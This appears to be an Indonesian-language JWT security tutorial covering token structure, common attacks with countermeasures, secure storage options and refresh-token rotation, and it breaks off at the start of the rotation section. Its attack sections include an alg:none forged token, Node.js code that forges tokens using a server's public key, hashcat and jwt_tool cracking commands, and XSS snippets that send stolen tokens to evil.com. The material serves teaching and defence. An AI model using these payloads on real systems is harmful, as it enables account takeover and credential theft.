Panduan lengkap tentang keamanan JSON Web Token (JWT) — mulai dari struktur token, jenis-jenis serangan terhadap JWT, cara penyimpanan yang aman, token rotation, hingga best practices untuk membangun sistem autentikasi yang robust
JSON Web Token (JWT) adalah standar terbuka (RFC 7519) yang mendefinisikan cara kompak dan mandiri untuk mengirimkan informasi antara dua pihak dalam bentuk objek JSON yang ditandatangani secara digital. JWT banyak digunakan dalam autentikasi dan otorisasi pada aplikasi web modern, terutama pada arsitektur RESTful API dan Single Page Application (SPA).
Berbeda dengan session-based authentication yang menyimpan state di server, JWT bersifat stateless — semua informasi yang dibutuhkan untuk autentikasi tersimpan di dalam token itu sendiri. Ini membuat JWT sangat cocok untuk arsitektur terdistribusi dan microservices.
Mengapa JWT Populer?
Kelebihan
Penjelasan
Stateless
Tidak perlu menyimpan session di server — semua info ada di token
Cross-Domain
Bisa digunakan lintas domain dan layanan (CORS-friendly)
Self-Contained
Token membawa payload yang cukup untuk autentikasi dan otorisasi
Decentralized
Setiap service bisa memverifikasi token secara mandiri tanpa ke central auth server
Mobile-Friendly
Ringan dan mudah dikirim via HTTP header, cocok untuk mobile apps
Standar Terbuka
Didukung luas oleh library dan framework di berbagai bahasa pemrograman
JWT vs Session Cookies vs API Keys
Aspek
JWT
Session Cookie
API Key
State
Stateless
Stateful (server-side)
Stateless
Skalabilitas
Tinggi (no shared state)
Butuh shared session store
Tinggi
Granularitas
Bisa bawa payload kustom
Hanya session ID
Hanya identifier
Revocation
Sulit (butuh blocklist)
Mudah (hapus session)
Bisa (invalidate key)
Keamanan
Perlu penanganan khusus
Built-in browser protection
Sederhana tapi kurang aman
Use Case
API, SPA, microservices
Traditional web app
Service-to-service
Diagram: JWT Authentication Flow
2. Struktur Token JWT
JWT terdiri dari tiga bagian yang dipisahkan oleh titik (.): Header, Payload, dan Signature. Setiap bagian di-encode menggunakan Base64URL encoding.
Diagram: JWT Token Structure
Header
Header mendefinisikan metadata token, termasuk algoritma signing yang digunakan dan tipe token.
Contoh: JWT Header
// Header JWT (decoded dari Base64URL)
{
"alg": "HS256", // Algoritma signing: HS256, RS256, ES256, dll
"typ": "JWT" // Tipe token
}
// ============================================
// Algoritma Signing yang Didukung
// ============================================
// HMAC (symmetric — satu key untuk sign dan verify)
HS256 → HMAC-SHA256 (256-bit) ← Paling umum
HS384 → HMAC-SHA384 (384-bit)
HS512 → HMAC-SHA512 (512-bit)
// RSA (asymmetric — public key untuk verify, private key untuk sign)
RS256 → RSASSA-PKCS1-v1_5 + SHA-256
RS384 → RSASSA-PKCS1-v1_5 + SHA-384
RS512 → RSASSA-PKCS1-v1_5 + SHA-512
// ECDSA (asymmetric — lebih cepat dari RSA, key lebih kecil)
ES256 → ECDSA P-256 + SHA-256
ES384 → ECDSA P-384 + SHA-384
// EdDSA (modern — menggunakan Ed25519/Ed448)
EdDSA → Ed25519 atau Ed448
// ⚠️ "alg": "none" — TIDAK ADA SIGNATURE (sangat berbahaya!)
{
"alg": "none",
"typ": "JWT"
}
// Ini artinya token TIDAK ditandatangani dan BISA dimanipulasi!
Payload (Claims)
Payload berisi claims — pernyataan tentang entitas (biasanya user) dan metadata tambahan. Ada tiga jenis claims:
Contoh: JWT Payload
// Payload JWT (decoded dari Base64URL)
{
// ===== REGISTERED CLAIMS (standar RFC 7519) =====
"iss": "https://auth.example.com", // Issuer — siapa yang menerbitkan token
"sub": "user123456", // Subject — siapa yang dimaksud
"aud": "https://api.example.com", // Audience — siapa yang dituju
"exp": 1719432000, // Expiration — kapan token kedaluwarsa (Unix timestamp)
"nbf": 1719428400, // Not Before — token tidak valid sebelum waktu ini
"iat": 1719428400, // Issued At — kapan token diterbitkan
"jti": "unique-token-id-123", // JWT ID — identifier unik untuk token
// ===== PUBLIC CLAIMS (custom tapi harus terdaftar di IANA) =====
"name": "John Doe",
"email": "john@example.com",
"picture": "https://example.com/photo.jpg",
// ===== PRIVATE CLAIMS (custom, kesepakatan antar pihak) =====
"role": "admin",
"permissions": ["read", "write", "delete"],
"org_id": "org_abc123",
"plan": "premium"
}
// ⚠️ PENTING: Payload TIDAK DIENKRIPSI!
// Payload hanya di-encode Base64URL, SIAPAPUN bisa membacanya.
// JANGAN simpan data sensitif di payload (password, API keys, dll.)
Signature
Signature adalah bagian yang menjamin integritas dan autentisitas token. Signature dibuat dengan meng-encode header dan payload, lalu menandatanganinya dengan secret key.
Memahami serangan terhadap JWT sangat penting untuk membangun sistem autentikasi yang aman. Berikut adalah serangan-serangan paling umum dan cara mencegahnya.
3.1 Algorithm Confusion Attack (alg:none)
Serangan ini memanfaatkan fakta bahwa beberapa library JWT mempercayai field alg di header tanpa verifikasi. Attacker mengubah alg menjadi "none" dan menghapus signature — sehingga token tanpa signature diterima sebagai valid.
Serangan: Algorithm Confusion
# ============================================
# Serangan alg:none
# ============================================
# Token asli (dengan signature):
# Header: {"alg": "HS256", "typ": "JWT"}
# Payload: {"sub": "user123", "role": "user"}
# Signature: valid_signature_here
# Token yang dimanipulasi attacker:
# Header: {"alg": "none", "typ": "JWT"}
# Payload: {"sub": "admin", "role": "admin"} ← diubah!
# Signature: (kosong — dihapus)
# Token manipulasi:
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
# Jika server tidak memvalidasi algoritma dengan benar,
# token ini akan diterima! 😱
# ============================================
# Pencegahan:
# ============================================
# 1. JANGAN pernah izinkan alg "none"
# 2. Whitelist algoritma yang diizinkan
# 3. Gunakan library yang terpercaya
# Contoh di jsonwebtoken (Node.js):
const jwt = require('jsonwebtoken');
// ❌ BERBAHAYA — mempercayai alg dari token
jwt.verify(token, secretOrPublicKey);
// ✅ AMAN — tentukan algoritma yang diizinkan
jwt.verify(token, secretOrPublicKey, {
algorithms: ['HS256'] // Hanya izinkan HS256
});
3.2 RS256 to HS256 Confusion Attack
Serangan ini terjadi ketika server menggunakan RS256 (asymmetric) tetapi attacker mengubah algoritma ke HS256 (symmetric). Karena pada HS256 key yang sama digunakan untuk sign dan verify, attacker bisa menggunakan public key server sebagai secret key untuk membuat token palsu.
Serangan: RS256 → HS256 Confusion
# ============================================
# Serangan Algorithm Confusion (RS256 → HS256)
# ============================================
# Skenario:
# - Server menggunakan RS256 (asymmetric)
# - Public key server tersedia publik (standar untuk RS256)
# - Server mempercayai field "alg" di token
# Serangan:
# 1. Attacker mendapatkan public key server (pub.pem)
# 2. Mengubah header: {"alg": "HS256"} ← dari RS256
# 3. Mengubah payload: {"sub": "admin", "role": "admin"}
# 4. Sign menggunakan HMAC dengan public key sebagai secret
# Kode serangan:
const crypto = require('crypto');
const publicKey = fs.readFileSync('pub.pem'); // Public key server
const header = { alg: 'HS256', typ: 'JWT' };
const payload = { sub: 'admin', role: 'admin' };
const h = base64url(JSON.stringify(header));
const p = base64url(JSON.stringify(payload));
// Gunakan public key sebagai HMAC secret!
const signature = crypto.createHmac('sha256', publicKey)
.update(`${h}.${p}`)
.digest('base64url');
// Server akan memverifikasi menggunakan HMAC dengan public key
// → Verifikasi BERHASIL! Token palsu diterima! 😱
# ============================================
# Pencegahan:
# ============================================
# 1. SELALU tentukan algoritma yang diizinkan secara eksplisit
# 2. Jangan izinkan perubahan algoritma dari token
// ✅ PENCEGAHAN:
jwt.verify(token, publicKey, {
algorithms: ['RS256'] // HANYA RS256, tidak boleh HS256
});
3.3 Brute Force Secret Key
Serangan: Brute Force HMAC Secret
# ============================================
# Brute Force JWT Secret Key
# ============================================
# Tool: hashcat, john the ripper
# Hashcat untuk brute force HS256:
# Format hash untuk hashcat: JWT token langsung
hashcat -m 16500 jwt.txt wordlist.txt
# John the Ripper:
john --wordlist=wordlist.txt --format=HMAC-SHA256 jwt.txt
# Tool khusus: jwt_tool
python3 jwt_tool.py eyJhbG... -C -d wordlist.txt
# ============================================
# Pencegahan:
# ============================================
# 1. Gunakan secret key yang SANGAT PANJANG (minimum 256-bit/32 byte)
# 2. Gunakan karakter random yang kuat
# 3. Rotasi secret key secara berkala
# 4. Pertimbangkan RS256 (asymmetric) — tidak bisa di-brute force
# Generate secure secret:
openssl rand -base64 32
# Output: xK7mN9pQ2rT5vW8yB3dF6gH0jL4nP7sU1xA4cE9hK2m
# ❌ SECRET LEMAH:
JWT_SECRET = "secret123"
JWT_SECRET = "mysecret"
JWT_SECRET = "password"
# ✅ SECRET KUAT:
JWT_SECRET = "xK7mN9pQ2rT5vW8yB3dF6gH0jL4nP7sU1xA4cE9hK2mQ6tW0zC3fH5kN8p"
3.4 JWT Token Leaked via URL/Referrer
⚠️ Token Leakage Risiko
Jangan pernah mengirim JWT di URL query string (?token=eyJ...) — token akan terekam di browser history, server logs, dan Referrer header
Simpan JWT di Authorization header, bukan di URL
Gunakan Referrer-Policy: no-referrer untuk mencegah token bocor ke situs lain
Hindari logging JWT di server logs
3.5 Cross-Site Scripting (XSS) JWT Theft
Serangan: XSS → JWT Theft
# ============================================
# XSS untuk mencuri JWT dari localStorage
# ============================================
# Jika attacker berhasil menyuntikkan XSS:
<script>
// Curi JWT dari localStorage
const token = localStorage.getItem('jwt_token');
// Kirim ke server attacker
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({ token: token }),
headers: {'Content-Type': 'application/json'}
});
</script>
# Atau dari sessionStorage:
<script>
const token = sessionStorage.getItem('jwt_token');
new Image().src = 'https://evil.com/collect?token=' + token;
</script>
# ============================================
# Pencegahan:
# ============================================
# 1. Gunakan httpOnly cookies (tidak bisa diakses JavaScript)
# 2. Implementasikan CSP untuk mencegah XSS
# 3. Input validation dan output encoding
# 4. Short-lived token + refresh token rotation
# 5. Bind token ke device fingerprint
3.6 Replay Attack
Serangan: Token Replay
# ============================================
# Replay Attack — Token yang dicuri digunakan ulang
# ============================================
# Skenario:
# 1. Attacker mendapatkan JWT user (via XSS, MITM, atau packet sniffing)
# 2. Attacker menggunakan token tersebut untuk mengakses API
# sebagai user yang sah
# Contoh request dengan token curian:
curl -X GET https://api.example.com/user/profile \
-H "Authorization: Bearer eyJhbG...token_curiandari_user..."
# Response: Data user berhasil diakses oleh attacker! 😱
# ============================================
# Pencegahan:
# ============================================
# 1. Token expiry yang SINGKAT (15 menit untuk access token)
# 2. Token rotation — refresh token harus dirotasi
# 3. Token binding — hubungkan token dengan IP/fingerprint
# 4. Revoke mechanism — blocklist untuk token yang dikompromikan
# 5. Jti (JWT ID) + server-side tracking untuk one-time-use
# Contoh token binding dengan fingerprint:
{
"sub": "user123",
"fingerprint": "abc123hash", // Hash dari User-Agent + IP + device ID
"exp": 1719432000
}
# Server memverifikasi fingerprint:
if (hash(request.userAgent + request.ip) !== token.fingerprint) {
return 401; // Token kemungkinan dicuri
}
4. Penyimpanan Token yang Aman
Di mana Anda menyimpan JWT sangat mempengaruhi keamanan sistem autentikasi. Setiap opsi penyimpanan memiliki trade-off antara keamanan dan kemudahan implementasi.
Perbandingan Metode Penyimpanan
Metode
XSS Risk
CSRF Risk
Rekomendasi
localStorage
🔴 Tinggi
🟢 Rendah
❌ Tidak direkomendasikan
sessionStorage
🔴 Tinggi
🟢 Rendah
❌ Tidak direkomendasikan
httpOnly Cookie
🟢 Rendah
🟡 Sedang
✅ Direkomendasikan
In-memory Variable
🟡 Sedang
🟢 Rendah
✅ Paling aman (SPA)
Service Worker
🟢 Rendah
🟢 Rendah
✅ Advanced (PWA)
Contoh: Implementasi Setiap Metode
# ============================================
# 1. localStorage — TIDAK DIREKOMENDASIKAN
# ============================================
// ❌ Rentan XSS — bisa diakses oleh semua JavaScript di halaman
localStorage.setItem('jwt_token', token);
const token = localStorage.getItem('jwt_token');
// Masalah:
// - Semua script di halaman (termasuk yang disuntikkan XSS) bisa akses
// - Data persist bahkan setelah browser ditutup
// - Tidak ada expiry otomatis
# ============================================
# 2. httpOnly Cookie — DIREKOMENDASIKAN
# ============================================
// ✅ Tidak bisa diakses oleh JavaScript
// Server set cookie:
res.cookie('access_token', token, {
httpOnly: true, // Tidak bisa diakses JS (anti-XSS)
secure: true, // Hanya dikirim via HTTPS
sameSite: 'Strict', // Tidak dikirim dalam cross-site request (anti-CSRF)
maxAge: 15 * 60 * 1000, // 15 menit
path: '/',
domain: '.example.com'
});
// Cookie otomatis dikirim di setiap request ke domain yang sama
// Frontend tidak perlu menambahkan header Authorization manual
// ⚠️ Perlu CSRF protection karena cookie dikirim otomatis
// Tambahkan anti-CSRF token di header untuk setiap request
# ============================================
# 3. In-Memory Storage — PALING AMAN untuk SPA
# ============================================
// ✅ Tidak tersimpan di storage manapun
// ❌ Hilang saat page refresh (perlu silent refresh)
class TokenService {
#accessToken = null; // Private field
setToken(token) {
this.#accessToken = token;
}
getToken() {
return this.#accessToken;
}
clearToken() {
this.#accessToken = null;
}
isAuthenticated() {
return this.#accessToken !== null;
}
}
const tokenService = new TokenService();
// Setelah login:
tokenService.setToken(response.data.accessToken);
// Untuk request API:
axios.interceptors.request.use(config => {
const token = tokenService.getToken();
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});
# ============================================
# 4. Hybrid Approach (Recommended untuk Production)
# ============================================
// Access Token → In-memory (hilang saat refresh)
// Refresh Token → httpOnly cookie (persist, aman dari XSS)
// Saat page refresh:
// 1. Cek apakah access token masih ada di memory
// 2. Jika tidak → gunakan refresh token (cookie) untuk dapat access token baru
// 3. Simpan access token baru di memory
async function silentRefresh() {
try {
const response = await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include' // Kirim httpOnly cookie
});
const data = await response.json();
tokenService.setToken(data.accessToken);
return true;
} catch (err) {
// Refresh token expired/invalid → redirect ke login
window.location.href = '/login';
return false;
}
}
5. Token Rotation dan Refresh Token
Token rotation adalah strategi keamanan di mana refresh token dirotasi setiap kali digunakan. Ini memastikan bahwa jika sebuah refresh token dicuri, token lama akan langsung invalid ketika token baru digunakan.